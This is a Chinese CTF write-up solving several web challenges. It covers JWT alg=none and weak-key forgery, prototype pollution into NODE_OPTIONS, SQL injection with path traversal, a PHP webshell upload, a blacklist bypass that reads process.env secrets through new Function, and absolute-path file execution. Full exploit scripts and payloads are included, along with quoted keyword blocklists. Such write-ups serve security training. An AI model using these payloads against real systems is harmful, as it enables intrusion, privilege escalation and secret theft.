比赛情况已经排名,感谢Rewind、Bewater和SdTVdp师傅的倾力付出
WEB_LFischl_ez_python 题目分析 分析源码可以发现,关键点在于可控地修改 config.filename。只要把默认读取的 app.py 改成目标文件,再访问 /read 即可读出 flag。
解题过程 关键分析
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 from flask import Flask, requestimport jsonapp = Flask(__name__) def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v) class Config : def __init__ (self ): self .filename = "app.py" class Polaris : def __init__ (self ): self .config = Config() instance = Polaris() @app.route('/' , methods=['GET' , 'POST' ] ) def index (): if request.data: merge(json.loads(request.data), instance) return "Welcome to Polaris CTF" @app.route('/read' ) def read (): return open (instance.config.filename).read() @app.route('/src' ) def src (): return open (__file__).read() if __name__ == '__main__' : app.run(host='0.0.0.0' , port=5000 , debug=False )
分析源码可以发现,关键点在于可控地修改 config.filename。只要把默认读取的 app.py 改成目标文件,再访问 /read 即可读出 flag。
最终结果如下:
最终 flag XMCTF{e7c95ea1-8921-420b-9f14-00f647dc1883}
WEB_LFischl_only_real 题目分析 本题的核心是服务端接受 alg=none 的 JWT。拿到普通用户 token 后,直接修改 payload 中的 role 和 exp,再构造一个无签名 token,即可访问 /flag.php。
解题过程 关键分析
本题的核心是服务端接受 alg=none 的 JWT。拿到普通用户 token 后,直接修改 payload 中的 role 和 exp,再构造一个无签名 token,即可访问 /flag.php。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import base64import jsonimport timeimport requestsBASE_URL = "http://80-00ffa243-b255-4a90-86bf-0901cda892a2.challenge.ctfplus.cn" ORIGINAL_TOKEN = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxIiwicm9sZSI6InVzZXIiLCJleHAiOjE3NzQ2ODE4MzF9.ZbLw_c4gQlWfrpkmc6UDpwInKUDhQjotc8PqJ6qL7oA" def b64url_encode (data ): return base64.urlsafe_b64encode(data).decode().rstrip('=' ) def b64url_decode (data ): padding = 4 - (len (data) % 4 ) if padding != 4 : data += '=' * padding return base64.urlsafe_b64decode(data) payload = json.loads(b64url_decode(ORIGINAL_TOKEN.split('.' )[1 ])) payload["role" ] = "admin" payload["exp" ] = int (time.time()) + 3600 header = {"alg" : "none" , "typ" : "JWT" } token = f"{b64url_encode(json.dumps(header).encode())} .{b64url_encode(json.dumps(payload).encode())} ." cookies = {"token" : token} resp = requests.get(BASE_URL + "/flag.php" , cookies=cookies) print (resp.text)
原始 token 中的 exp 是服务器签发时设定的,但因为使用了 none 算法,可以任意修改 payload 中的任何字段,包括 exp,而不需要重新签名。于是我们将其设为当前时间之后 1 小时,让 token 对服务器来说在接下来的一小时内都是“有效”的。最后,这个伪造的 admin token 被携带在 Cookie 中发送给 /flag.php,服务器如果接受了该 token 并识别出角色为 admin,就会返回 flag。
实际测试中,登录后直接访问 /flag.php 即可拿到结果,推测为题目环境存在异常。
最终 flag xmctf{xm_xxe_blind_success}
WEB_LFischl_ezpollute_AI 题目分析 本题利用配置合并函数造成原型链污染,把污染出的 NODE_OPTIONS 带进 /api/status 启动的子进程环境,最终通过 -r /flag 实现读 flag。
解题过程 关键分析
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 const express = require ('express' );const { spawn } = require ('child_process' );const path = require ('path' );const app = express ();app.use (express.json ()); app.use (express.static (__dirname)); function merge (target, source, res ) { for (let key in source) { if (key === '__proto__' ) { if (res) { res.send ('get out!' ); return ; } continue ; } if (source[key] instanceof Object && key in target) { merge (target[key], source[key], res); } else { target[key] = source[key]; } } } let config = { name : "CTF-Guest" , theme : "default" }; app.post ('/api/config' , (req, res ) => { let userConfig = req.body ; const forbidden = ['shell' , 'env' , 'exports' , 'main' , 'module' , 'request' , 'init' , 'handle' ,'environ' ,'argv0' ,'cmdline' ]; const bodyStr = JSON .stringify (userConfig).toLowerCase (); for (let word of forbidden) { if (bodyStr.includes (`"${word} "` )) { return res.status (403 ).json ({ error : `Forbidden keyword detected: ${word} ` }); } } try { merge (config, userConfig, res); res.json ({ status : "success" , msg : "Configuration updated successfully." }); } catch (e) { res.status (500 ).json ({ status : "error" , message : "Internal Server Error" }); } }); app.get ('/api/status' , (req, res ) => { const customEnv = Object .create (null ); for (let key in process.env ) { if (key === 'NODE_OPTIONS' ) { const value = process.env [key] || "" ; const dangerousPattern = /(?:^|\s)--(require|import|loader|openssl|icu|inspect)\b/i ; if (!dangerousPattern.test (value)) { customEnv[key] = value; } continue ; } customEnv[key] = process.env [key]; } const proc = spawn ('node' , ['-e' , 'console.log("System Check: Node.js is running.")' ], { env : customEnv, shell : false }); let output = '' ; proc.stdout .on ('data' , (data ) => { output += data; }); proc.stderr .on ('data' , (data ) => { output += data; }); proc.on ('close' , (code ) => { res.json ({ status : "checked" , info : output.trim () || "No output from system check." }); }); }); app.get ('/' , (req, res ) => { res.sendFile (path.join (__dirname, 'index.html' )); }); app.listen (3000 , '0.0.0.0' , () => { console .log ('Server running on port 3000' ); });
分析源码后得知原型链污染入口在这里
1 2 3 4 5 6 7 8 9 10 function merge (target, source, res ) { for (let key in source) { if (key === '__proto__' ) { } if (source[key] instanceof Object && key in target) { merge (target[key], source[key], res); } else { target[key] = source[key]; } } }
找到黑名单
1 2 3 4 5 6 7 const forbidden = ['shell' , 'env' , 'exports' , 'main' , 'module' , 'request' , 'init' , 'handle' ,'environ' ,'argv0' ,'cmdline' ];const bodyStr = JSON .stringify (userConfig).toLowerCase ();for (let word of forbidden) { if (bodyStr.includes (`"${word} "` )) { return res.status (403 ).json ({ error : `Forbidden keyword detected: ${word} ` }); } }
RCE 触发点(/api/status)
1 2 3 4 5 6 7 8 9 10 11 const customEnv = Object .create (null );for (let key in process.env ) { if (key === 'NODE_OPTIONS' ) { if (!dangerousPattern.test (value)) { customEnv[key] = value; } } customEnv[key] = process.env [key]; } spawn ('node' , ['-e' , '...' ], { env : customEnv });
所以构造 payload:
1 2 3 4 5 6 7 { "constructor" : { "prototype" : { "NODE_OPTIONS" : "-r /flag" } } }
之后访问/api/status 即可了
最终 flag XMCTF{b49001f6-40ab-47e8-8700-d5902522598a}
WEB_LFischl_Broken_Trust 题目分析 本题先在 /api/profile 上通过 SQL 注入把会话切到管理员,再结合路径穿越读取敏感文件,最终从变形路径拿到 flag。
解题过程 关键分析
先使用任意普通用户名登录。
复制信息
进行登录
看源码发现可疑路径/api/profile
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 async function refreshProfile ( ) { const uid = "18e239f484424b49b1d4c6665b93b01d" ; const msg = document .getElementById ('msg' ); msg.innerText = "Syncing with API..." ; try { const response = await fetch ('/api/profile' , { method : 'POST' , headers : { 'Content-Type' : 'application/json' }, body : JSON .stringify ({ uid : uid }) }); const data = await response.json (); if (data.username ) { msg.innerText = "Session synced. Current user: " + data.username ; } else { msg.innerText = "Sync failed: " + (data.error || "Unknown error" ); } } catch (e) { msg.innerText = "Error connecting to API." ; } }
{"uid": "' OR role='admin' -- "}进行 SQL 注入一下看看,发现说明注入已经生效
此时已经成功切换为管理员身份。
经过测试/不行,可能是有什么过滤,尝试了好几个路径都不行,最后测试到....//....//....//flag才行的
最终 flag XMCTF{f568b165-63cd-4f18-a864-251f319da258
WEB_LFischl_only_real_revenge 题目分析 本题先离线爆破 HS256 密钥伪造管理员 JWT,再绕过上传限制写入一句话木马,最后通过文件读取拿到 flag。
解题过程 关键分析
登录页源码里直接给了账号密码:
登录后会进入一个后台页面,普通用户只能看到被 disabled 的表单。页面里有昵称、年龄、背景图上传和留言板,看起来重点明显落在“管理员功能”和“文件上传”上。
登录后响应会在 Set-Cookie 中下发一个 token,内容是标准 JWT:
1 2 3 4 { "alg" : "HS256" , "typ" : "JWT" }
1 2 3 4 5 { "sub" : "1" , "role" : "user" , "exp" : 1774769274 }
说明服务端是用 HS256 做对称签名,只要能拿到签名密钥,就能把 role=user 改成 role=admin。
之后就爆破 JWT 密钥,本题的密钥较弱,实际爆出来是cdef,爆破脚本融合到了复现 exp 中:
将原始 payload 中的:"role": "user"改成"role": "admin"
然后用密钥 cdef 重新签名,就能得到合法的管理员 JWT,从而获得管理员权限。
部分网页源码
1 2 3 4 5 6 7 8 9 10 document .querySelector ("input[name='file']" ).addEventListener ("change" , function ( ){ const file = this .files [0 ]; if (!file) return ; const allowed = ["image/jpeg" ,"image/png" ]; if (!allowed.includes (file.type )){ alert ("只允许上传 jpg / jpeg / png 格式图片!" ); this .value = "" ; } });
管理员页面允许上传背景图,前端 JS 只允许:image/jpeg和image/png
但这只是前端限制,可以抓包绕过,服务端还做了一层较弱的关键字过滤,所以不能随便上传常规木马内容,比如直接出现太明显的敏感字样会被拦。不过上传目录中的 .php 是可以执行的,因此只需要上传一个足够短、足够干净的一句话木马即可:
1 <?= readfile ($_GET ['x' ]);?>
随后直接访问 /flag 即可拿到结果。
复现脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 import base64import hashlibimport hmacimport itertoolsimport jsonimport osimport reimport stringimport timefrom urllib.parse import quoteimport requestsBASE_URL = os.environ .get ( "BASE_URL" , "http://80-4ea407f2-b425-42f9-84d2-d5bebf189903.challenge.ctfplus.cn" , ).rstrip ("/" ) USERNAME = os.environ .get ("CTF_USERNAME" , "xmuser" )PASSWORD = os.environ .get ("CTF_PASSWORD" , "123456" )def b64url_encode (data : bytes) -> str : return base64.urlsafe_b64encode (data).decode ().rstrip ("=" ) def b64url_decode (data : str) -> bytes : data += "=" * (-len (data) % 4 ) return base64.urlsafe_b64decode (data) def decode_jwt (token : str) -> tuple[dict, dict, str]: header_b64, payload_b64, signature = token.split ("." ) header = json.loads (b64url_decode (header_b64)) payload = json.loads (b64url_decode (payload_b64)) return header, payload, signature def sign_jwt (header : dict, payload : dict, secret : str) -> str : header_b64 = b64url_encode (json.dumps (header, separators=("," , ":" )).encode ()) payload_b64 = b64url_encode (json.dumps (payload, separators=("," , ":" )).encode ()) message = f"{header_b64}.{payload_b64}" signature = b64url_encode ( hmac.new (secret.encode (), message.encode (), hashlib.sha256 ).digest () ) return f"{message}.{signature}" def login_get_token () -> str : resp = requests.post ( f"{BASE_URL}/login.php" , data={"user" : USERNAME , "pass" : PASSWORD }, allow_redirects=False , timeout=10 , ) resp.raise_for_status () token = resp.cookies .get ("token" ) if not token : set_cookie = resp.headers .get ("Set-Cookie" , "" ) match = re.search (r"token=([^;]+)" , set_cookie) token = match.group (1 ) if match else None if not token : raise RuntimeError ("login failed: token not found" ) return token def crack_hs256_secret (token : str) -> str : _, _, signature = decode_jwt (token) message = "." .join (token.split ("." )[:2 ]).encode () alphabet = string.ascii_lowercase for length in range (1 , 6 ): for chars in itertools.product (alphabet, repeat=length): candidate = "" .join (chars) calc = b64url_encode ( hmac.new (candidate.encode (), message, hashlib.sha256 ).digest () ) if calc == signature : return candidate raise RuntimeError ("jwt secret not found in configured keyspace" ) def forge_admin_token (user_token : str, secret : str) -> str : _, payload, _ = decode_jwt (user_token) payload["role" ] = "admin" payload["exp" ] = int (time.time ()) + 3600 header = {"alg" : "HS256" , "typ" : "JWT" } return sign_jwt (header, payload, secret) def make_admin_session (admin_token : str) -> requests.Session : session = requests.Session () session.cookies .set ("token" , admin_token) return session def get_dashboard (session : requests.Session ) -> str : resp = session.get (f"{BASE_URL}/dashboard.php" , timeout=10 ) resp.raise_for_status () return resp.text def upload_webshell (session : requests.Session ) -> str : # 用最小读取壳,避免触发服务端关键字过滤。 payload = b"<?=readfile($_GET['x']);?>" resp = session.post ( f"{BASE_URL}/dashboard.php" , data={"nick" : "xmadmin" , "age" : "18" , "msg" : "hello" }, files={"file" : ("probe329.php" , payload, "image/png" )}, timeout=10 , ) resp.raise_for_status () match = re.search (r"路径为:([^<]+)" , resp.text ) if not match : raise RuntimeError ("upload failed:\n" + resp.text ) return match.group (1 ) def read_file (shell_path : str, target_path : str) -> str : url = f"{BASE_URL}/{shell_path}?x={quote(target_path)}" resp = requests.get (url, timeout=10 ) resp.raise_for_status () return resp.text def extract_flag (text : str) -> str | None : match = re.search (r"(xmctf\{[^}]+\}|flag\{[^}]+\})" , text, re.I ) return match.group (1 ) if match else None def find_flag (shell_path : str) -> tuple[str, str]: common_paths = [ "/flag" , "/flag.txt" , "/var/www/html/flag" , "/var/www/html/flag.txt" , "/var/www/html/flag.php" , "/app/flag" , "/app/flag.txt" , ] for path in common_paths : content = read_file (shell_path, path) flag = extract_flag (content) if flag : return path, flag raise RuntimeError ("flag not found in common paths" ) def main () -> None : print ("[*] base url :" , BASE_URL ) print ("[*] login as :" , f"{USERNAME}/{PASSWORD}" ) user_token = login_get_token () print ("[+] user token :" , user_token) header, payload, _ = decode_jwt (user_token) print ("[*] original jwt header :" , header) print ("[*] original jwt payload:" , payload) secret = crack_hs256_secret (user_token) print ("[+] cracked hs256 secret:" , secret) admin_token = forge_admin_token (user_token, secret) print ("[+] forged admin token :" , admin_token) session = make_admin_session (admin_token) dashboard = get_dashboard (session) if "当前身份:admin" not in dashboard : raise RuntimeError ("failed to enter admin dashboard" ) print ("[+] forged admin jwt ok" ) shell_path = upload_webshell (session) print ("[+] uploaded webshell :" , shell_path) hostname_test = read_file (shell_path, "/etc/hostname" ).strip () print ("[+] file read test ok :" , hostname_test) flag_path, flag = find_flag (shell_path) print ("[+] flag path :" , flag_path) print ("[+] flag :" , flag) if __name__ == "__main__" : main ()
最终 flag xmctf{a4b68825-6059-4547-8a4a-4406eea9249d}
WEB_LFischl_醉里挑灯看剑 _AI 题目分析 题目的核心漏洞链是:
先用 guest 身份申请 token。
调用 /api/caps/sync 时,利用 keepRole=false 和 keepLane=false 让插入 SQLite 的快照行缺少 role/lane 字段。
由于服务端批量插入时使用“第一行的 key 集合作为整批 shape”,导致最后那条本应固定为 guest/public 的 server-tail 保护快照也被插成 NULL/NULL。
/api/release/execute、/api/release/challenge、/api/release/claim 取“最新快照”时,会对 NULL 做 COALESCE(role, 'maintainer') 和 COALESCE(lane, 'release'),于是来宾会话拿到了有效的 maintainer/release capability。
但是 token 里的 claims.role 仍然是 guest,刚好满足 release 接口对“guest-origin session”的要求。
然后通过表达式执行接口绕过黑名单,读取 RUNNER_KEY。
按题目公式计算 sha1(sid + ":" + nonce + ":" + RUNNER_KEY),最后 /api/release/claim 直接返回 flag。
解题过程
在 server.ts 第 16-17 行可以看到:
1 2 const RUNNER_KEY = process.env .RUNNER_KEY || 'dev-runner-key' ;const FLAG_VALUE = process.env .FLAG_VALUE || 'flag{dev_placeholder_flag}' ;
在 server.ts 第 517-519 行:
1 2 3 function computeReleaseProof (sid : string , nonce : string ): string { return crypto.createHash ('sha1' ).update (`${sid} :${nonce} :${RUNNER_KEY} ` ).digest ('hex' ); }
所以只要拿到:sid、nonce、RUNNER_KEY,就能自己算 proof。
在 server.ts 第 488-508 行可以找到 capability 的判定逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 async function getEffectiveCapability (sid : string ): Promise <CapabilityView > { const rows = await db` SELECT id, sid, COALESCE(role, 'maintainer') AS role, COALESCE(lane, 'release') AS lane, source, note, stamp FROM capability_snapshots WHERE sid = ${sid} ORDER BY id DESC LIMIT 1 ` ;
这说明:只看最新一条 capability snapshot,如果 role 是 NULL,就自动当成 maintainer,如果 lane 是 NULL,就自动当成 release
漏洞根因在 server.ts 第 565-637 行的 normalizeSyncRows(),以及第 461-476 行的批量插入逻辑。
先看 normalizeSyncRows() 的关键部分,也就是 server.ts 第 598-626 行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 const keepRole = input.keepRole !== false ;const keepLane = input.keepLane !== false ;const row : Record <string , unknown > = { sid : claims.sid , source, note, stamp : now + i }; if (keepRole) { row.role = 'guest' ; } if (keepLane) { row.lane = 'public' ; } rows.push (row); rows.push ({ sid : claims.sid , role : 'guest' , lane : 'public' , source : 'server-tail' , note : 'tail guard snapshot' , stamp : now + payload.ops .length + 11 });
看起来这是想追加一条 server-tail 保护快照,保证最后状态是 guest/public。
但真正的问题在 server.ts 第 466-475 行:
1 2 3 4 5 6 7 8 9 10 const firstRowKeys = Object .keys (rows[0 ]);const shapedRows = rows.map ((row ) => { const out : Record <string , unknown > = {}; for (const key of firstRowKeys) { out[key] = Object .prototype .hasOwnProperty .call (row, key) ? row[key] : null ; } return out; }); await db`INSERT INTO capability_snapshots ${db(shapedRows as unknown as Record<string , unknown >[])} ` ;
也就是说:
整批插入的数据结构,是按 rows[0] 的字段集合固定的
如果第一条没有 role/lane
那么即使后面的 server-tail 本来写了 role: 'guest'、lane: 'public'
在 shapedRows 里这两个字段也会被直接丢掉
于是最终插库结果就是:
pwn 行:role = NULL, lane = NULL
server-tail 行:role = NULL, lane = NULL
而且 server-tail 的 stamp 更大,排序后也会最后插入,拿到最大 id。 于是 getEffectiveCapability() 读到的“最新快照”就是:
source = server-tail
role = COALESCE(NULL, 'maintainer') = maintainer
lane = COALESCE(NULL, 'release') = release
这就是权限提升。
为什么release 接口还能继续走的原因是/api/release/challenge 和 /api/release/claim 不仅检查 capability,还要求 token 里的 claims.role 必须仍然是 guest。
见 server.ts 第 818-835 行:
1 2 3 4 5 6 7 const claims = requireSession (req);const effectiveCap = await getEffectiveCapability (claims.sid );assertReleaseCapability (effectiveCap);if (claims.role !== 'guest' ) { throw new Error ('release challenge requires guest-origin session' ); }
这正好形成一个“身份还是 guest,但 capability 已经是 maintainer/release”的畸形状态。 所以这条链实际上是:token 身份不变,DB 中 capability 越权这样恰好同时满足两个检查条件。
表达式黑名单定义在 server.ts 第 21-36 行,检查逻辑在第 640-655 行:
1 2 3 4 5 6 const lowered = expr.toLowerCase ();for (const token of BLOCKED_EXPRESSION_TOKENS ) { if (lowered.includes (token)) { throw new Error (`expression contains blocked token: ${token} ` ); } }
这是纯字符串包含判断,没有 AST 解析。
真正执行发生在 server.ts 第 698-742 行:
1 2 3 4 const runner = new Function ( 'ctx' , '"use strict"; const input = ctx.input; const session = ctx.session; const cap = ctx.cap; const tools = ctx.tools; return (' + expr + ');' );
所以只要把敏感单词拆开,黑名单就拦不住。例如:
1 2 3 []["fil" +"ter" ]["constr" +"uctor" ]( "return this[\"pro\"+\"cess\"][\"en\"+\"v\"][\"RUNNER\"+\"_\"+\"KE\"+\"Y\"]" )()
源码里明明屏蔽了:constructor、process
但因为是字符串拼接,includes() 根本匹配不到,最后仍然会被 new Function 执行。
获取 guest token
请求:
实测返回:
1 2 3 4 5 6 7 8 { "ok" : true , "token" : "eyJleHAiOjE3NzQ4NDEyMzgxNjQsImlhdCI6MTc3NDgzOTczODE2NCwibm9uY2UiOiI2ODIyNDE4NmZjNmQyZjA3IiwicGxhbiI6InByZXZpZXctbGFuZSIsInJvbGUiOiJndWVzdCIsInNpZCI6InNpZF9hMTk4ODQ2NzMxZTIifQ.d328d54e160954e10494158feab5ba557d0b671e989e0584c1e469483483c994" , "claims" : { "sid" : "sid_a198846731e2" , "role" : "guest" } }
查看当前会话请求:
1 2 GET /api/session/self Authorization : Bearer <token>
可见初始 snapshot 是:
1 2 3 4 5 6 7 8 { "id" : 1 , "sid" : "sid_a198846731e2" , "role" : "guest" , "lane" : "public" , "source" : "session.issue" , "note" : "guest session created" }
打 capability 漏洞
的最小 payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 { "ops" : [ { "source" : "pwn" , "note" : "exploit" , "keepRole" : false , "keepLane" : false } , { "source" : "pwn" , "note" : "exploit" , "keepRole" : false , "keepLane" : false } ] }
注意必须至少两条,因为源码要求 ops.length 在 2 到 8 之间。打完后再次查看 /api/session/self,实测能看到:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 "recentCaps" : [ { "id" : 4 , "sid" : "sid_a198846731e2" , "role" : null , "lane" : null , "source" : "server-tail" , "note" : "tail guard snapshot" } , { "id" : 3 , "sid" : "sid_a198846731e2" , "role" : null , "lane" : null , "source" : "pwn" , "note" : "exploit" } ]
这就说明“保护快照也被插成了 NULL/NULL”。
**调用 release execute 读取 ****RUNNER_KEY**
1 2 3 4 { "expression" : "[][(\"fil\"+\"ter\")][(\"constr\"+\"uctor\")](\"return this[\\\"pro\\\"+\\\"cess\\\"][\\\"en\\\"+\\\"v\\\"][\\\"RUNNER\\\"+\\\"_\\\"+\\\"KE\\\"+\\\"Y\\\"]\")()" , "input" : { } }
实测返回:
1 2 3 4 5 6 7 8 9 10 { "ok" : true , "cap" : { "id" : 4 , "role" : "maintainer" , "lane" : "release" , "source" : "server-tail" } , "result" : "z8nA5F3hF8zcQ9SVA7zRhVvngtboGXgo4WcIibxi" }
这一步直接证明当前 effective capability 已经变成 maintainer/release表达式,执行逃逸成功并且RUNNER_KEY 已经拿到
获取 nonce
1 2 POST /api/release/challenge Authorization : Bearer <token>
实测返回:
1 2 3 4 5 6 7 { "ok" : true , "sid" : "sid_a198846731e2" , "nonce" : "69bfa8a8a51c56948f464ca4" , "exp" : 1774839919832 , "formula" : "sha1(sid + \":\" + nonce + \":\" + releaseSecret)" }
本地计算 proof
由于源码公式已经写死:
1 sha1 (`${sid} :${nonce} :${RUNNER_KEY} ` )
所以直接本地算:
1 proof = hashlib.sha1(f"{sid} :{nonce} :{runner_key} " .encode()).hexdigest()
claim 取 flag
请求:
1 2 3 4 5 6 7 8 POST /api/release/claim Authorization : Bearer <token>Content-Type : application/json{ "nonce": "69bfa8a8a51c56948f464ca4", "proof": "<sha1结果>" }
实测返回:
1 2 3 4 5 { "ok" : true , "sid" : "sid_a198846731e2" , "flag" : "XMCTF{cb162f8c-73ed-4c02-b813-19a96291fb99}" }
关键代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 import hashlibimport jsonimport osimport requestsBASE_URL = os.environ.get( "BASE_URL" , "http://80-55a80dc6-d1ed-408e-b126-77928c6c43e2.challenge.ctfplus.cn" , ).rstrip("/" ) def show (label: str , resp: requests.Response ) -> None : print (f"\n--- {label} ---" ) print ("status:" , resp.status_code) try : print (json.dumps(resp.json(), ensure_ascii=False , indent=2 )) except Exception: print (resp.text[:800 ]) def main () -> None : session = requests.Session() guest = session.post(f"{BASE_URL} /api/auth/guest" , timeout=15 ) guest.raise_for_status() show("guest" , guest) token = guest.json()["token" ] headers = { "Authorization" : f"Bearer {token} " , "Content-Type" : "application/json" , } me = session.get(f"{BASE_URL} /api/session/self" , headers=headers, timeout=15 ) me.raise_for_status() show("self-before" , me) sid = me.json()["claims" ]["sid" ] sync_payload = { "ops" : [ { "source" : "pwn" , "note" : "exploit" , "keepRole" : False , "keepLane" : False , }, { "source" : "pwn" , "note" : "exploit" , "keepRole" : False , "keepLane" : False , }, ] } sync = session.post( f"{BASE_URL} /api/caps/sync" , headers=headers, json=sync_payload, timeout=15 , ) sync.raise_for_status() show("caps-sync" , sync) me2 = session.get(f"{BASE_URL} /api/session/self" , headers=headers, timeout=15 ) me2.raise_for_status() show("self-after" , me2) expr = ( '[]["fil"+"ter"]["constr"+"uctor"](' '"return this[\\"pro\\"+\\"cess\\"][\\"en\\"+\\"v\\"][\\"RUNNER\\"+\\"_\\"+\\"KE\\"+\\"Y\\"]"' ")()" ) execute = session.post( f"{BASE_URL} /api/release/execute" , headers=headers, json={"expression" : expr, "input" : {}}, timeout=15 , ) execute.raise_for_status() show("execute" , execute) runner_key = str (execute.json()["result" ]).strip() challenge = session.post( f"{BASE_URL} /api/release/challenge" , headers=headers, timeout=15 , ) challenge.raise_for_status() show("challenge" , challenge) nonce = challenge.json()["nonce" ] proof = hashlib.sha1(f"{sid} :{nonce} :{runner_key} " .encode()).hexdigest() claim = session.post( f"{BASE_URL} /api/release/claim" , headers=headers, json={"nonce" : nonce, "proof" : proof}, timeout=15 , ) claim.raise_for_status() show("claim" , claim) print ("\nFLAG:" , claim.json()["flag" ]) if __name__ == "__main__" : main()
它会自动完成:
获取 guest token
打 capability 漏洞
绕过表达式黑名单读取 RUNNER_KEY
获取 challenge nonce
计算 proof
claim 返回 flag
最终 flag XMCTF{cb162f8c-73ed-4c02-b813-19a96291fb99}
WEB_LFischl_AutoPypy_AI 题目分析 本题给的是一套“上传 Python 脚本并放进沙箱执行”的服务,第一眼很容易把注意力放在 proot 沙箱逃逸上。
解题过程 关键分析
本题给的是一套“上传 Python 脚本并放进沙箱执行”的服务,第一眼很容易把注意力放在 proot 沙箱逃逸上。
但真正的突破口并不在逃逸,而在于:
/run 接口把用户传入的 filename 直接拿去和 /app/uploads 做 os.path.join
如果 filename 是绝对路径,那么前面的 /app/uploads 会被直接丢弃
launcher.py 会把这个宿主机路径 bind mount 到沙箱里的 /app/run.py
然后直接执行 python3 run.py
也就是说,本题本质上是“任意宿主机文件被绑定为沙箱内脚本并执行”,而不是传统意义上的沙箱逃逸。
源码分析
题目给出的关键源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 @app.route('/upload' , methods=['POST' ] ) def upload (): file = request.files['file' ] filename = request.form.get('filename' , 'script.py' ) filepath = os.path.join(UPLOAD_FOLDER, filename) file.save(filepath) return f'成功上传至: {filepath} ' @app.route('/run' , methods=['POST' ] ) def run (): filename = request.json.get('filename' , 'script.py' ) target_file = os.path.join(UPLOAD_FOLDER, filename) result = subprocess.run( ['python3' , 'launcher.py' , target_file], capture_output=True , text=True , timeout=5 ) return jsonify({'output' : result.stdout + result.stderr})
实际无污染源码里更准确的关键行是:
1 2 3 4 5 6 7 filename = request.form.get('filename' ) or file.filename save_path = os.path.join(UPLOAD_FOLDER, filename) filename = data.get('filename' ) target_file = os.path.join('/app/uploads' , filename)
launcher.py:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 def run_sandbox (script_name ): print ("Launching sandbox..." ) cmd = [ 'proot' , '-r' , './jail_root' , '-b' , '/bin' , '-b' , '/usr' , '-b' , '/lib' , '-b' , '/lib64' , '-b' , '/etc/alternatives' , '-b' , '/dev/null' , '-b' , '/dev/zero' , '-b' , '/dev/urandom' , '-b' , f'{script_name} :/app/run.py' , '-w' , '/app' , 'python3' , 'run.py' ] subprocess.call(cmd) print ("ok" )
关键点是:
1 2 3 4 5 '-b' , f'{script_name} :/app/run.py' ,'python3' , 'run.py'
os.path.join** 对绝对路径的处理**
Python 中:
1 os.path.join('/app/uploads' , '/flag' )
结果并不是:
而是:
因为后一个参数一旦是绝对路径,前面的路径就会被覆盖掉。
所以当我们向 /run 发送:
服务端实际传给 launcher.py 的 target_file 就是宿主机上的 /flag。如果 script_name 是 /flag,那么沙箱里的 /app/run.py 实际上就是宿主机的 /flag。
随后程序再执行:
Python 会把 flag 文件当成源码解释。
而 flag 显然不是合法 Python 代码,所以解释器会抛出 SyntaxError,并把出错的那一行原样打印出来。这就完成了 flag 泄露。
利用思路
最短利用链如下:
不需要上传任何文件
直接调用 /run
将 filename 设为绝对路径 /flag
服务端把宿主机 /flag bind 到沙箱内 /app/run.py
Python 执行 /app/run.py
因为文件内容是 xmctf{...},会触发语法错误
错误回显中直接泄露 flag
所以本题虽然有上传点,但拿 flag 根本不需要先走 /upload。
直接发送请求:
1 2 3 4 POST /run HTTP/1.1 Content-Type : application/json{ "filename" : "/flag" }
返回内容如下:
1 2 3 { "output" : "Launching sandbox...\nok\n File \"/app/run.py\", line 1\n xmctf{699f4568de00f2df35f98005567398d3}\n ^\nSyntaxError: invalid decimal literal\n" }
从这段回显里可以直接提取出 flag:
1 xmctf{699f4568de00f2df35f98005567398d3}
关键代码
下面这份脚本可以直接复现,代码已经内敛,不依赖额外文件。
